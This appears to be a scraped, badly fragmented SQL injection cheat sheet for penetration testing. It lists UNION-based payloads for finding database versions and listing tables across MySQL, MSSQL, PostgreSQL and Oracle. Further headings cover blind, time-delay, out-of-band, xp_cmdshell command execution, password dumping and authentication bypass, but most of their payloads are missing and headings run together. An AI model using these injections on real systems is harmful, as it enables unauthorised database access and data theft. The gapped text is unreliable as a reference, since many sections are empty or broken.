SQL Injection
Standard Cheatsheet
Determine database version
' UNION SELECT @@version (MySQL, MSSQL, MariaDB)
' UNION SELECT version() (PostgreSQL)
' SELECT * FROM v$version (Oracle)
' UNION SELECT BANNER,NULL FROM+ v$version-- (Oracle)List tables
// PostgreSQL, MySQL, MSSQL
' UNION SELECT * FROM information_schema.tables--
' UNION SELECT table_name FROM information_schema.tables--
// Oracle
' SELECT * FROM all_Tables
' SELECT table_name FROM all_TablesList columns
Get data from columns
Number of columns
OR
OR
Find column with useful data type
If the data type of a column is not compatible with string data, the injected query will cause a database error, such as:
Substring
Case
These inputs use the CASE keyword to test a condition and return a different expression depending on whether the expression is true. With the first input, the CASE expression evaluates to 'a', which does not cause any error. With the second input, it evaluates to 1/0, which causes a divide-by-zero error. Assuming the error causes some difference in the application's HTTP response, we can use this difference to infer whether the injected condition is true.
Using this technique, we can retrieve data in the way already described, by systematically testing one character at a time:
Examples:
Time delay
Out-of-Band techniques
Oracle
MSSQL
PostgreSQL
MySQL
MSSQL
Stacked Queries
xp_dirtree to return a user hash:
Execute code with xp_cmdshell:
MariaDB / MySQL
Dump username and password from table user:
Update table
Node.js
Authentication Bypass
More information here.

Last updated
Was this helpful?